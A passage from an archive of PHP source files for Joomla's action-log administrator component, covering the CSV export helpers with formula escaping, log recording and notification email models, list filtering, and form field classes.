 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Path;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\String\StringHelper;

/**
 * Actionlogs component helper.
 *
 * @since  3.9.0
 */
class ActionlogsHelper
{
	/**
	 * Array of characters starting a formula
	 *
	 * @var    array
	 * @since  3.9.7
	 */
	private static $characters = array('=', '+', '-', '@');

	/**
	 * Method to convert logs objects array to an iterable type for use with a CSV export
	 *
	 * @param   array|Traversable  $data  The logs data objects to be exported
	 *
	 * @return  array|Generator  For PHP 5.5 and newer, a Generator is returned; PHP 5.4 and earlier use an array
	 *
	 * @since   3.9.0
	 * @throws  InvalidArgumentException
	 */
	public static function getCsvData($data)
	{
		if (!is_iterable($data))
		{
			throw new InvalidArgumentException(
				sprintf(
					'%s() requires an array or object implementing the Traversable interface, a %s was given.',
					__METHOD__,
					gettype($data) === 'object' ? get_class($data) : gettype($data)
				)
			);
		}

		if (version_compare(PHP_VERSION, '5.5', '>='))
		{
			// Only include the PHP 5.5 helper in this conditional to prevent the potential of parse errors for PHP 5.4 or earlier
			JLoader::register('ActionlogsHelperPhp55', __DIR__ . '/actionlogsphp55.php');

			return ActionlogsHelperPhp55::getCsvAsGenerator($data);
		}

		$disabledText = Text::_('COM_ACTIONLOGS_DISABLED');

		$rows = array();

		// Header row
		$rows[] = array('Id', 'Message', 'Date', 'Extension', 'User', 'Ip');

		foreach ($data as $log)
		{
			$date      = new Date($log->log_date, new DateTimeZone('UTC'));
			$extension = strtok($log->extension, '.');

			static::loadTranslationFiles($extension);

			$rows[] = array(
				'id'         => $log->id,
				'message'    => self::escapeCsvFormula(strip_tags(static::getHumanReadableLogMessage($log, false))),
				'date'       => $date->format('Y-m-d H:i:s T'),
				'extension'  => self::escapeCsvFormula(Text::_($extension)),
				'name'       => self::escapeCsvFormula($log->name),
				'ip_address' => self::escapeCsvFormula($log->ip_address === 'COM_ACTIONLOGS_DISABLED' ? $disabledText : $log->ip_address)
			);
		}

		return $rows;
	}

	/**
	 * Load the translation files for an extension
	 *
	 * @param   string  $extension  Extension name
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public static function loadTranslationFiles($extension)
	{
		static $cache = array();
		$extension = strtolower($extension);

		if (isset($cache[$extension]))
		{
			return;
		}

		$lang   = Factory::getLanguage();
		$source = '';

		switch (substr($extension, 0, 3))
		{
			case 'com':
			default:
				$source = JPATH_ADMINISTRATOR . '/components/' . $extension;
				break;

			case 'lib':
				$source = JPATH_LIBRARIES . '/' . substr($extension, 4);
				break;

			case 'mod':
				$source = JPATH_SITE . '/modules/' . $extension;
				break;

			case 'plg':
				$parts = explode('_', $extension, 3);

				if (count($parts) > 2)
				{
					$source = JPATH_PLUGINS . '/' . $parts[1] . '/' . $parts[2];
				}
				break;

			case 'pkg':
				$source = JPATH_SITE;
				break;

			case 'tpl':
				$source = JPATH_BASE . '/templates/' . substr($extension, 4);
				break;

		}

		$lang->load($extension, JPATH_ADMINISTRATOR, null, false, true)
			|| $lang->load($extension, $source, null, false, true);

		if (!$lang->hasKey(strtoupper($extension)))
		{
			$lang->load($extension . '.sys', JPATH_ADMINISTRATOR, null, false, true)
				|| $lang->load($extension . '.sys', $source, null, false, true);
		}

		$cache[$extension] = true;
	}

	/**
	 * Get parameters to be
	 *
	 * @param   string  $context  The context of the content
	 *
	 * @return  mixed  An object contains content type parameters, or null if not found
	 *
	 * @since   3.9.0
	 */
	public static function getLogContentTypeParams($context)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true)
			->select('a.*')
			->from($db->quoteName('#__action_log_config', 'a'))
			->where($db->quoteName('a.type_alias') . ' = ' . $db->quote($context));

		$db->setQuery($query);

		return $db->loadObject();
	}

	/**
	 * Get human readable log message for a User Action Log
	 *
	 * @param   stdClass  $log            A User Action log message record
	 * @param   boolean   $generateLinks  Flag to disable link generation when creating a message
	 *
	 * @return  string
	 *
	 * @since   3.9.0
	 */
	public static function getHumanReadableLogMessage($log, $generateLinks = true)
	{
		static $links = array();

		$message     = Text::_($log->message_language_key);
		$messageData = json_decode($log->message, true);

		// Special handling for translation extension name
		if (isset($messageData['extension_name']))
		{
			static::loadTranslationFiles($messageData['extension_name']);
			$messageData['extension_name'] = Text::_($messageData['extension_name']);
		}

		// Translating application
		if (isset($messageData['app']))
		{
			$messageData['app'] = Text::_($messageData['app']);
		}

		// Translating type
		if (isset($messageData['type']))
		{
			$messageData['type'] = Text::_($messageData['type']);
		}

		$linkMode = Factory::getApplication()->get('force_ssl', 0) >= 1 ? Route::TLS_FORCE : Route::TLS_IGNORE;

		foreach ($messageData as $key => $value)
		{
			// Escape any markup in the values to prevent XSS attacks
			$value = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');

			// Convert relative url to absolute url so that it is clickable in action logs notification email
			if ($generateLinks && StringHelper::strpos($value, 'index.php?') === 0)
			{
				if (!isset($links[$value]))
				{
					$links[$value] = Route::link('administrator', $value, false, $linkMode, true);
				}

				$value = $links[$value];
			}

			$message = str_replace('{' . $key . '}', $value, $message);
		}

		return $message;
	}

	/**
	 * Get link to an item of given content type
	 *
	 * @param   string   $component
	 * @param   string   $contentType
	 * @param   integer  $id
	 * @param   string   $urlVar
	 * @param   JObject  $object
	 *
	 * @return  string  Link to the content item
	 *
	 * @since   3.9.0
	 */
	public static function getContentTypeLink($component, $contentType, $id, $urlVar = 'id', $object = null)
	{
		// Try to find the component helper.
		$eName = str_replace('com_', '', $component);
		$file  = Path::clean(JPATH_ADMINISTRATOR . '/components/' . $component . '/helpers/' . $eName . '.php');

		if (file_exists($file))
		{
			$prefix = ucfirst(str_replace('com_', '', $component));
			$cName  = $prefix . 'Helper';

			JLoader::register($cName, $file);

			if (class_exists($cName) && is_callable(array($cName, 'getContentTypeLink')))
			{
				return $cName::getContentTypeLink($contentType, $id, $object);
			}
		}

		if (empty($urlVar))
		{
			$urlVar = 'id';
		}

		// Return default link to avoid having to implement getContentTypeLink in most of our components
		return 'index.php?option=' . $component . '&task=' . $contentType . '.edit&' . $urlVar . '=' . $id;
	}

	/**
	 * Load both enabled and disabled actionlog plugins language file.
	 *
	 * It is used to make sure actions log is displayed properly instead of only language items displayed when a plugin is disabled.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public static function loadActionLogPluginsLanguage()
	{
		$lang = Factory::getLanguage();
		$db   = Factory::getDbo();

		// Get all (both enabled and disabled) actionlog plugins
		$query = $db->getQuery(true)
			->select(
				$db->quoteName(
					array(
						'folder',
						'element',
						'params',
						'extension_id'
					),
					array(
						'type',
						'name',
						'params',
						'id'
					)
				)
			)
			->from('#__extensions')
			->where('type = ' . $db->quote('plugin'))
			->where('folder = ' . $db->quote('actionlog'))
			->where('state IN (0,1)')
			->order('ordering');
		$db->setQuery($query);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$rows = array();
		}

		if (empty($rows))
		{
			return;
		}

		foreach ($rows as $row)
		{
			$name      = $row->name;
			$type      = $row->type;
			$extension = 'Plg_' . $type . '_' . $name;
			$extension = strtolower($extension);

			// If language already loaded, don't load it again.
			if ($lang->getPaths($extension))
			{
				continue;
			}

			$lang->load($extension, JPATH_ADMINISTRATOR, null, false, true)
			|| $lang->load($extension, JPATH_PLUGINS . '/' . $type . '/' . $name, null, false, true);
		}

		// Load com_privacy too.
		$lang->load('com_privacy', JPATH_ADMINISTRATOR, null, false, true);
	}

	/**
	 * Escapes potential characters that start a formula in a CSV value to prevent injection attacks
	 *
	 * @param   mixed  $value  csv field value
	 *
	 * @return  mixed
	 *
	 * @since   3.9.7
	 */
	protected static function escapeCsvFormula($value)
	{
		if ($value == '')
		{
			return $value;
		}

		if (in_array($value[0], self::$characters, true))
		{
			$value = ' ' . $value;
		}

		return $value;
	}
}
com_actionlogs/helpers/actionlogsphp55.php000060400000005151152455305260014750 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Date\Date;
use Joomla\CMS\Language\Text;

/**
 * Actionlogs component helper for newer PHP versions.
 *
 * This file should only be included in environments running PHP 5.5 or newer and may potentially cause a parse error on older versions.
 *
 * @since       3.9.0
 * @deprecated  Will be inlined back into ActionlogsHelper when PHP 5.5 or newer is the minimum supported PHP version
 * @internal
 */
class ActionlogsHelperPhp55
{
	/**
	 * Array of characters starting a formula
	 *
	 * @var    array
	 * @since  3.9.7
	 */
	private static $characters = array('=', '+', '-', '@');

	/**
	 * Method to convert logs objects array to a Generator for use with a CSV export
	 *
	 * @param   array|Traversable  $data  The logs data objects to be exported
	 *
	 * @return  Generator
	 *
	 * @since   3.9.0
	 * @throws  InvalidArgumentException
	 */
	public static function getCsvAsGenerator($data)
	{
		if (!is_iterable($data))
		{
			throw new InvalidArgumentException(
				sprintf(
					'%s() requires an array or object implementing the Traversable interface, a %s was given.',
					__METHOD__,
					gettype($data) === 'object' ? get_class($data) : gettype($data)
				)
			);
		}

		$disabledText = Text::_('COM_ACTIONLOGS_DISABLED');

		// Header row
		yield array('Id', 'Message', 'Date', 'Extension', 'User', 'Ip');

		foreach ($data as $log)
		{
			$extension = strtok($log->extension, '.');

			ActionlogsHelper::loadTranslationFiles($extension);

			yield array(
				'id'         => $log->id,
				'message'    => self::escapeCsvFormula(strip_tags(ActionlogsHelper::getHumanReadableLogMessage($log, false))),
				'date'       => (new Date($log->log_date, new DateTimeZone('UTC')))->format('Y-m-d H:i:s T'),
				'extension'  => self::escapeCsvFormula(Text::_($extension)),
				'name'       => self::escapeCsvFormula($log->name),
				'ip_address' => self::escapeCsvFormula($log->ip_address === 'COM_ACTIONLOGS_DISABLED' ? $disabledText : $log->ip_address)
			);
		}
	}

	/**
	 * Escapes potential characters that start a formula in a CSV value to prevent injection attacks
	 *
	 * @param   mixed  $value  csv field value
	 *
	 * @return  mixed
	 *
	 * @since   3.9.7
	 */
	protected static function escapeCsvFormula($value)
	{
		if ($value == '')
		{
			return $value;
		}

		if (in_array($value[0], self::$characters, true))
		{
			$value = ' ' . $value;
		}

		return $value;
	}
}
com_actionlogs/controller.php000060400000000572152455305260012447 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Actionlogs Controller
 *
 * @since  3.9.0
 */
class ActionlogsController extends JControllerLegacy
{
}
com_actionlogs/config.xml000060400000002242152455305260011536 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset name="actionlogs" label="COM_ACTIONLOGS_OPTIONS" addfieldpath="/administrator/components/com_actionlogs/models/fields">
		<field
			name="ip_logging"
			type="radio"
			label="COM_ACTIONLOGS_IP_LOGGING_LABEL"
			description="COM_ACTIONLOGS_IP_LOGGING_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="csv_delimiter"
			type="list"
			label="COM_ACTIONLOGS_CSV_DELIMITER_LABEL"
			description="COM_ACTIONLOGS_CSV_DELIMITER_DESC"
			default=","
			>
			<option value=",">COM_ACTIONLOGS_COMMA</option>
			<option value=";">COM_ACTIONLOGS_SEMICOLON</option>
		</field>
		<field
			name="loggable_extensions"
			type="logtype"
			label="COM_ACTIONLOGS_LOG_EXTENSIONS_LABEL"
			description="COM_ACTIONLOGS_LOG_EXTENSIONS_DESC"
			multiple="true"
			default="com_banners,com_cache,com_categories,com_checkin,com_config,com_contact,com_content,com_installer,com_media,com_menus,com_messages,com_modules,com_newsfeeds,com_plugins,com_redirect,com_tags,com_templates,com_users"
		/>
	</fieldset>
</config>
com_actionlogs/models/actionlog.php000060400000011270152455305260013523 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\Utilities\IpHelper;

JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

/**
 * Methods supporting a list of Actionlog records.
 *
 * @since  3.9.0
 */
class ActionlogsModelActionlog extends JModelLegacy
{
	/**
	 * Function to add logs to the database
	 * This method adds a record to #__action_logs contains (message_language_key, message, date, context, user)
	 *
	 * @param   array    $messages            The contents of the messages to be logged
	 * @param   string   $messageLanguageKey  The language key of the message
	 * @param   string   $context             The context of the content passed to the plugin
	 * @param   integer  $userId              ID of user perform the action, usually ID of current logged in user
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function addLog($messages, $messageLanguageKey, $context, $userId = null)
	{
		$user   = Factory::getUser($userId);
		$db     = $this->getDbo();
		$date   = Factory::getDate();
		$params = ComponentHelper::getComponent('com_actionlogs')->getParams();

		if ($params->get('ip_logging', 0))
		{
			$ip = IpHelper::getIp();

			if (!filter_var($ip, FILTER_VALIDATE_IP))
			{
				$ip = 'COM_ACTIONLOGS_IP_INVALID';
			}
		}
		else
		{
			$ip = 'COM_ACTIONLOGS_DISABLED';
		}

		$loggedMessages = array();

		foreach ($messages as $message)
		{
			$logMessage                       = new stdClass;
			$logMessage->message_language_key = $messageLanguageKey;
			$logMessage->message              = json_encode($message);
			$logMessage->log_date             = (string) $date;
			$logMessage->extension            = $context;
			$logMessage->user_id              = $user->id;
			$logMessage->ip_address           = $ip;
			$logMessage->item_id              = isset($message['id']) ? (int) $message['id'] : 0;

			try
			{
				$db->insertObject('#__action_logs', $logMessage);
				$loggedMessages[] = $logMessage;
			}
			catch (RuntimeException $e)
			{
				// Ignore it
			}
		}

		// Send notification email to users who choose to be notified about the action logs
		$this->sendNotificationEmails($loggedMessages, $user->name, $context);
	}

	/**
	 * Send notification emails about the action log
	 *
	 * @param   array   $messages  The logged messages
	 * @param   string  $username  The username
	 * @param   string  $context   The Context
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function sendNotificationEmails($messages, $username, $context)
	{
		$db           = $this->getDbo();
		$query        = $db->getQuery(true);
		$params       = ComponentHelper::getParams('com_actionlogs');
		$showIpColumn = (bool) $params->get('ip_logging', 0);

		$query
			->select($db->quoteName(array('u.email', 'l.extensions')))
			->from($db->quoteName('#__users', 'u'))
			->where($db->quoteName('u.block') . ' = 0')
			->join(
				'INNER',
				$db->quoteName('#__action_logs_users', 'l') . ' ON ( ' . $db->quoteName('l.notify') . ' = 1 AND '
				. $db->quoteName('l.user_id') . ' = ' . $db->quoteName('u.id') . ')'
			);

		$db->setQuery($query);

		try
		{
			$users = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());

			return;
		}

		$recipients = array();

		foreach ($users as $user)
		{
			$extensions = json_decode($user->extensions, true);

			if ($extensions && in_array(strtok($context, '.'), $extensions))
			{
				$recipients[] = $user->email;
			}
		}

		if (empty($recipients))
		{
			return;
		}

		$layout    = new FileLayout('components.com_actionlogs.layouts.logstable', JPATH_ADMINISTRATOR);
		$extension = strtok($context, '.');
		ActionlogsHelper::loadTranslationFiles($extension);

		foreach ($messages as $message)
		{
			$message->extension = Text::_($extension);
			$message->message   = ActionlogsHelper::getHumanReadableLogMessage($message);
		}

		$displayData = array(
			'messages'     => $messages,
			'username'     => $username,
			'showIpColumn' => $showIpColumn,
		);

		$body   = $layout->render($displayData);
		$mailer = Factory::getMailer();
		$mailer->addRecipient($recipients);
		$mailer->setSubject(Text::_('COM_ACTIONLOGS_EMAIL_SUBJECT'));
		$mailer->isHTML(true);
		$mailer->Encoding = 'base64';
		$mailer->setBody($body);

		if (!$mailer->Send())
		{
			JError::raiseWarning(500, Text::_('JERROR_SENDING_EMAIL'));
		}
	}
}
com_actionlogs/models/fields/logtype.php000060400000003213152455305260014473 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  System.actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

FormHelper::loadFieldClass('checkboxes');
JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

/**
 * Field to load a list of all users that have logged actions
 *
 * @since 3.9.0
 */
class JFormFieldLogType extends JFormFieldCheckboxes
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $type = 'LogType';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.9.0
	 */
	public function getOptions()
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('extension'))
			->from($db->quoteName('#__action_logs_extensions'));

		$extensions = $db->setQuery($query)->loadColumn();

		$options = array();
		$tmp     = array('checked' => true);

		foreach ($extensions as $extension)
		{
			ActionlogsHelper::loadTranslationFiles($extension);
			$option = HTMLHelper::_('select.option', $extension, Text::_($extension));
			$options[ApplicationHelper::stringURLSafe(Text::_($extension)) . '_' . $extension] = (object) array_merge($tmp, (array) $option);
		}

		ksort($options);

		return array_merge(parent::getOptions(), array_values($options));
	}
}
com_actionlogs/models/fields/plugininfo.php000060400000002702152455305260015164 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Information field.
 *
 * @since  3.9.2
 */
class JFormFieldPluginInfo extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.2
	 */
	protected $type = 'PluginInfo';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string	The field input markup.
	 *
	 * @since   3.9.2
	 */
	protected function getInput()
	{
		$db = JFactory::getDbo();
		$result = null;
		$query = $db->getQuery(true)
			->select($db->quoteName('extension_id'))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('actionlog'))
			->where($db->quoteName('element') . ' = ' . $db->quote('joomla'));
		$db->setQuery($query);

		try
		{
			$result = (int) $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		$link = JHtml::_(
			'link',
			JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . $result),
			JText::_('PLG_SYSTEM_ACTIONLOGS_JOOMLA_ACTIONLOG_DISABLED'),
			array('class' => 'alert-link')
		);

		return '<div class="alert alert-info">'
			. JText::sprintf('PLG_SYSTEM_ACTIONLOGS_JOOMLA_ACTIONLOG_DISABLED_REDIRECT', $link)
			. '</div>';
	}
}
com_actionlogs/models/fields/logcreator.php000060400000003423152455305260015154 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormHelper;

FormHelper::loadFieldClass('list');

/**
 * Field to load a list of all users that have logged actions
 *
 * @since  3.9.0
 */
class JFormFieldLogCreator extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $type = 'LogCreator';

	/**
	 * Cached array of the category items.
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected static $options = array();

	/**
	 * Method to get the options to populate list
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.9.0
	 */
	protected function getOptions()
	{
		// Accepted modifiers
		$hash = md5($this->element);

		if (!isset(static::$options[$hash]))
		{
			static::$options[$hash] = parent::getOptions();

			$options = array();

			$db = Factory::getDbo();

			// Construct the query
			$query = $db->getQuery(true)
				->select($db->quoteName('u.id', 'value'))
				->select($db->quoteName('u.username', 'text'))
				->from($db->quoteName('#__users', 'u'))
				->join('INNER', $db->quoteName('#__action_logs', 'c') . ' ON ' . $db->quoteName('c.user_id') . ' = ' . $db->quoteName('u.id'))
				->group($db->quoteName('u.id'))
				->group($db->quoteName('u.username'))
				->order($db->quoteName('u.username'));

			// Setup the query
			$db->setQuery($query);

			// Return the result
			if ($options = $db->loadObjectList())
			{
				static::$options[$hash] = array_merge(static::$options[$hash], $options);
			}
		}

		return static::$options[$hash];
	}
}
com_actionlogs/models/fields/extension.php000060400000003155152455305260015031 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

FormHelper::loadFieldClass('list');
JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

/**
 * Field to load a list of all extensions that have logged actions
 *
 * @since  3.9.0
 */
class JFormFieldExtension extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $type = 'extension';

	/**
	 * Method to get the options to populate list
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.9.0
	 */
	public function getOptions()
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT ' . $db->quoteName('extension'))
			->from($db->quoteName('#__action_logs'))
			->order($db->quoteName('extension'));

		$db->setQuery($query);
		$context = $db->loadColumn();

		$options = array();

		if (count($context) > 0)
		{
			foreach ($context as $item)
			{
				$extensions[] = strtok($item, '.');
			}

			$extensions = array_unique($extensions);

			foreach ($extensions as $extension)
			{
				ActionlogsHelper::loadTranslationFiles($extension);
				$options[] = HTMLHelper::_('select.option', $extension, Text::_($extension));
			}
		}

		return array_merge(parent::getOptions(), $options);
	}
}
com_actionlogs/models/fields/logsdaterange.php000060400000002675152455305260015642 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormHelper;

FormHelper::loadFieldClass('predefinedlist');

/**
 * Field to show a list of range dates to sort with
 *
 * @since  3.9.0
 */
class JFormFieldLogsDateRange extends JFormFieldPredefinedList
{
	/**
	 * The form field type.
	 *
	 * @var     string
	 * @since   3.9.0
	 */
	protected $type = 'logsdaterange';

	/**
	 * Available options
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $predefinedOptions = array(
		'today'       => 'COM_ACTIONLOGS_OPTION_RANGE_TODAY',
		'past_week'   => 'COM_ACTIONLOGS_OPTION_RANGE_PAST_WEEK',
		'past_1month' => 'COM_ACTIONLOGS_OPTION_RANGE_PAST_1MONTH',
		'past_3month' => 'COM_ACTIONLOGS_OPTION_RANGE_PAST_3MONTH',
		'past_6month' => 'COM_ACTIONLOGS_OPTION_RANGE_PAST_6MONTH',
		'past_year'   => 'COM_ACTIONLOGS_OPTION_RANGE_PAST_YEAR',
	);

	/**
	 * Method to instantiate the form field object.
	 *
	 * @param   JForm  $form  The form to attach to the form field object.
	 *
	 * @since  3.9.0
	 */
	public function __construct($form = null)
	{
		parent::__construct($form);

		// Load the required language
		$lang = Factory::getLanguage();
		$lang->load('com_actionlogs', JPATH_ADMINISTRATOR);
	}
}
com_actionlogs/models/actionlogs.php000060400000022125152455305260013707 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\Utilities\ArrayHelper;

/**
 * Methods supporting a list of article records.
 *
 * @since  3.9.0
 */
class ActionlogsModelActionlogs extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'a.id', 'id',
				'a.extension', 'extension',
				'a.user_id', 'user',
				'a.message', 'message',
				'a.log_date', 'log_date',
				'a.ip_address', 'ip_address',
				'dateRange',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function populateState($ordering = 'a.id', $direction = 'desc')
	{
		$app = Factory::getApplication();

		$search = $app->getUserStateFromRequest($this->context . 'filter.search', 'filter_search', '', 'string');
		$this->setState('filter.search', $search);

		$user = $app->getUserStateFromRequest($this->context . 'filter.user', 'filter_user', '', 'string');
		$this->setState('filter.user', $user);

		$extension = $app->getUserStateFromRequest($this->context . 'filter.extension', 'filter_extension', '', 'string');
		$this->setState('filter.extension', $extension);

		$ip_address = $app->getUserStateFromRequest($this->context . 'filter.ip_address', 'filter_ip_address', '', 'string');
		$this->setState('filter.ip_address', $ip_address);

		$dateRange = $app->getUserStateFromRequest($this->context . 'filter.dateRange', 'filter_dateRange', '', 'string');
		$this->setState('filter.dateRange', $dateRange);

		parent::populateState($ordering, $direction);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   3.9.0
	 */
	protected function getListQuery()
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select('a.*, u.name')
			->from('#__action_logs AS a')
			->leftJoin('#__users AS u ON a.user_id = u.id');

		// Get ordering
		$fullorderCol = $this->state->get('list.fullordering', 'a.id DESC');

		// Apply ordering
		if (!empty($fullorderCol))
		{
			$query->order($db->escape($fullorderCol));
		}

		// Get filter by user
		$user = $this->getState('filter.user');

		// Apply filter by user
		if (!empty($user))
		{
			$query->where($db->quoteName('a.user_id') . ' = ' . (int) $user);
		}

		// Get filter by extension
		$extension = $this->getState('filter.extension');

		// Apply filter by extension
		if (!empty($extension))
		{
			$query->where($db->quoteName('a.extension') . ' LIKE ' . $db->quote($extension . '%'));
		}

		// Get filter by date range
		$dateRange = $this->getState('filter.dateRange');

		// Apply filter by date range
		if (!empty($dateRange))
		{
			$date = $this->buildDateRange($dateRange);

			// If the chosen range is not more than a year ago
			if ($date['dNow'] != false)
			{
				$query->where(
					$db->qn('a.log_date') . ' >= ' . $db->quote($date['dStart']->format('Y-m-d H:i:s')) .
					' AND ' . $db->qn('a.log_date') . ' <= ' . $db->quote($date['dNow']->format('Y-m-d H:i:s'))
				);
			}
		}

		// Filter the items over the search string if set.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->quoteName('a.id') . ' = ' . (int) substr($search, 3));
			}
			elseif (stripos($search, 'item_id:') === 0)
			{
				$query->where($db->quoteName('a.item_id') . ' = ' . (int) substr($search, 8));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search, true) . '%');
				$query->where('(' . $db->quoteName('u.username') . ' LIKE ' . $search . ')');
			}
		}

		return $query;
	}

	/**
	 * Construct the date range to filter on.
	 *
	 * @param   string  $range  The textual range to construct the filter for.
	 *
	 * @return  array  The date range to filter on.
	 *
	 * @since   3.9.0
	 */
	private function buildDateRange($range)
	{
		// Get UTC for now.
		$dNow   = new Date;
		$dStart = clone $dNow;

		switch ($range)
		{
			case 'past_week':
				$dStart->modify('-7 day');
				break;

			case 'past_1month':
				$dStart->modify('-1 month');
				break;

			case 'past_3month':
				$dStart->modify('-3 month');
				break;

			case 'past_6month':
				$dStart->modify('-6 month');
				break;

			case 'past_year':
				$dStart->modify('-1 year');
				break;

			case 'today':
				// Ranges that need to align with local 'days' need special treatment.
				$offset = Factory::getApplication()->get('offset');

				// Reset the start time to be the beginning of today, local time.
				$dStart = new Date('now', $offset);
				$dStart->setTime(0, 0, 0);

				// Now change the timezone back to UTC.
				$tz = new DateTimeZone('GMT');
				$dStart->setTimezone($tz);
				break;
		}

		return array('dNow' => $dNow, 'dStart' => $dStart);
	}

	/**
	 * Get all log entries for an item
	 *
	 * @param   string   $extension  The extension the item belongs to
	 * @param   integer  $itemId     The item ID
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function getLogsForItem($extension, $itemId)
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select('a.*, u.name')
			->from('#__action_logs AS a')
			->innerJoin('#__users AS u ON a.user_id = u.id')
			->where($db->quoteName('a.extension') . ' = ' . $db->quote($extension))
			->where($db->quoteName('a.item_id') . ' = ' . (int) $itemId);

		// Get ordering
		$fullorderCol = $this->getState('list.fullordering', 'a.id DESC');

		// Apply ordering
